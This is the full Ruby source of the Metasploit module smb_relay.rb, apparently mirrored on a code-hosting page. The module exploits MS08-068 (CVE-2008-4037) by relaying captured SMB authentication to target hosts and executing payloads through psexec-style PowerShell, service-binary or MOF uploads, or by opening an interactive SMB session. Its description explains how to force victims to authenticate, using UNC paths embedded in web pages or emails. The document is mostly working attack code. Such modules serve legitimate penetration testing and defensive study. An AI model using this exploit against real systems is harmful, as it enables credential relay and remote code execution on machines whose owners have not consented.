Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/smb_relay.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45=begin6Windows XP systems that are not part of a domain default to treating all7network logons as if they were Guest. This prevents SMB relay attacks from8gaining administrative access to these systems. This setting can be found9under:1011Local Security Settings >12Local Policies >13Security Options >14Network Access: Sharing and security model for local accounts15=end1617class MetasploitModule < Msf::Exploit::Remote18Rank = ExcellentRanking1920include ::Msf::Exploit::Remote::SMB::RelayServer21include ::Msf::Exploit::Remote::SMB::Client::Psexec22include ::Msf::Exploit::Powershell23include Msf::Exploit::EXE24include Msf::Module::HasActions25include Msf::Auxiliary::CommandShell2627def initialize(info = {})28super(29update_info(30info,31'Name' => 'MS08-068 Microsoft Windows SMB Relay Code Execution',32'Description' => %q{33This module will relay SMB authentication requests to another34host, gaining access to an authenticated SMB session if successful.35If the connecting user is an administrator and network logins are36allowed to the target machine, this module will execute an arbitrary37payload. To exploit this, the target system must try to authenticate38to this module. The easiest way to force a SMB authentication attempt39is by embedding a UNC path (\SERVER\SHARE) into a web page or40email message. When the victim views the web page or email, their41system will automatically connect to the server specified in the UNC42share (the IP address of the system running this module) and attempt43to authenticate. Unfortunately, this44module is not able to clean up after itself. The service and payload45file listed in the output will need to be manually removed after access46has been gained. The service created by this tool uses a randomly chosen47name and description, so the services list can become cluttered after48repeated exploitation.4950The SMB authentication relay attack was first reported by Sir Dystic on51March 31st, 2001 at @lanta.con in Atlanta, Georgia.5253On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin54includes a patch which prevents the relaying of challenge keys back to55the host which issued them, preventing this exploit from working in56the default configuration. It is still possible to set the SMBHOST57parameter to a third-party host that the victim is authorized to access,58but the "reflection" attack has been effectively broken.5960As of Feb 2022 - this module does not support SMB 1.61},62'Author' => [63'hdm', # Original SMB v1 relay module64'juan vazquez', # Original SMB v1 relay module - Add NTLMSSP support65'agalway-r7', # Add SMB 2/3 support66'alanfoster', # Add SMB 2/3 support67'Spencer McIntyre' # Add SMB 2/3 support68],69'License' => MSF_LICENSE,70'Privileged' => true,71'DefaultOptions' => {72'EXITFUNC' => 'thread'73},74'Payload' => {75'Space' => 2048,76'DisableNops' => true,77'StackAdjustment' => -350078},79'References' => [80['CVE', '2008-4037'],81['OSVDB', '49736'],82['MSB', 'MS08-068'],83['URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'],84['URL', 'https://en.wikipedia.org/wiki/SMBRelay'],85['URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx']86],87'Arch' => [ARCH_X86, ARCH_X64],88'Platform' => 'win',89'Targets' => [90[ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64] } ],91[ 'PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64] } ],92[ 'Native upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],93[ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],94[ 'Command', { 'Arch' => [ARCH_CMD] } ]95],96'Notes' => {97'Stability' => [98CRASH_SAFE,99],100'Reliability' => [101REPEATABLE_SESSION102],103'SideEffects' => [104ARTIFACTS_ON_DISK,105IOC_IN_LOGS,106ACCOUNT_LOCKOUTS107]108},109'DisclosureDate' => '2001-03-31',110'DefaultTarget' => 0,111'Actions' => available_actions,112'Stance' => Msf::Exploit::Stance::Passive,113'DefaultAction' => 'PSEXEC'114)115)116117register_options(118[119OptString.new('SMBSHARE', [false, 'The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share', ''], aliases: ['SHARE'])120]121)122123register_advanced_options(124[125OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]),126OptString.new('SERVICE_FILENAME', [false, 'Filename to to be used on target for the service binary', nil]),127OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),128OptString.new('SERVICE_STUB_ENCODER', [false, 'Encoder to use around the service registering stub', nil])129]130)131132deregister_options(133'RPORT', 'RHOSTS', 'SMBPass', 'SMBUser', 'CommandShellCleanupCommand', 'AutoVerifySession'134)135if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)136add_info('New in Metasploit 6.4 - The %grnCREATE_SMB_SESSION%clr action within this module can open an interactive session')137end138end139140def available_actions141actions = [142['PSEXEC', { 'Description' => 'Use the SMB Connection to run the exploit/windows/psexec module against the relay target' }]143]144if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)145actions << ['CREATE_SMB_SESSION', { 'Description' => 'Do not close the SMB connection after relaying, and instead create an SMB session' }]146end147148actions149end150151def validate_service_stub_encoder!152service_encoder = datastore['SERVICE_STUB_ENCODER']153return if service_encoder.nil? || service_encoder.empty?154155encoder = framework.encoders[service_encoder]156if encoder.nil?157raise Msf::OptionValidateError.new(158{159'SERVICE_STUB_ENCODER' => "Failed to find encoder #{service_encoder.inspect}"160}161)162end163end164165def exploit166if datastore['RHOSTS'].present?167print_warning('Warning: RHOSTS datastore value has been set which is not supported by this module. Please verify RELAY_TARGETS is set correctly.')168end169170case action.name171when 'PSEXEC'172validate_service_stub_encoder!173end174super175end176177def on_relay_success(relay_connection:, relay_identity:)178case action.name179when 'PSEXEC'180run_psexec(relay_connection)181when 'CREATE_SMB_SESSION'182begin183session_setup(relay_connection)184rescue StandardError => e185elog('Failed to setup the session', error: e)186end187end188end189190def run_psexec(relay_connection)191# The psexec mixins assume a single smb client instance is available, which makes it impossible192# to use when there are multiple SMB requests occurring in parallel. Let's create a replicant module,193# and set the datastore options and simple smb instance194new_mod_instance = replicant195new_mod_instance.datastore['RHOST'] = relay_connection.target.ip196new_mod_instance.datastore['RPORT'] = relay_connection.target.port197# The new module no longer needs a reference to the original smb server, deref it explicitly:198new_mod_instance.service.deref199new_mod_instance.service = nil200# Wrap the ruby_smb connection in a rex-compatible adapter201new_mod_instance.simple = ::Rex::Proto::SMB::SimpleClient.new(relay_connection.dispatcher.tcp_socket, client: relay_connection)202203thread_name = "Module(#{refname})(target=#{relay_connection.target.ip}:#{relay_connection.target.port})"204framework.threads.spawn(thread_name, false, new_mod_instance) do |mod_instance|205mod_instance.exploit_smb_target206rescue StandardError => e207print_error("Failed running psexec against target #{datastore['RHOST']} - #{e.class} #{e.message}")208elog(e)209# ensure210# # Note: Don't cleanup explicitly, as the shared replicant state leads to payload handlers etc getting closed.211# # The parent module will clean these shared resources212# mod_instance.cleanup213end214end215216def relay_targets217Msf::Exploit::Remote::SMB::Relay::TargetList.new(218:smb,219445,220datastore['RELAY_TARGETS'],221randomize_targets: datastore['RANDOMIZE_TARGETS']222)223end224225# Called after a successful connection to a relayed host is opened226def exploit_smb_target227# automatically select an SMB share unless one is explicitly specified228if datastore['SMBSHARE'] && !datastore['SMBSHARE'].blank?229smbshare = datastore['SMBSHARE']230elsif target.name == 'Command'231smbshare = 'C$'232else233smbshare = 'ADMIN$'234end235236service_filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"237service_encoder = datastore['SERVICE_STUB_ENCODER'] || ''238239vprint_status 'Running psexec'240case target.name241when 'Automatic'242if powershell_installed?(smbshare, datastore['PSH_PATH'])243print_status('Selecting PowerShell target')244execute_powershell_payload245else246print_status('Selecting native target')247native_upload(smbshare, service_filename, service_encoder)248end249when 'PowerShell'250execute_powershell_payload251when 'Native upload'252native_upload(smbshare, service_filename, service_encoder)253when 'MOF upload'254mof_upload(smbshare)255when 'Command'256execute_command_payload(smbshare)257end258259handler260disconnect261end262263# @param [RubySMB::Client] client264def session_setup(client)265return unless client266267platform = 'windows'268269# Create a new session270rstream = client.dispatcher.tcp_socket271sess = Msf::Sessions::SMB.new(272rstream,273{274client: client275}276)277ds = {278'RHOST' => client.target.ip,279'RPORT' => client.target.port280}281282s = start_session(self, nil, ds, false, sess.rstream, sess)283284s.platform = platform285286s287end288289end290291292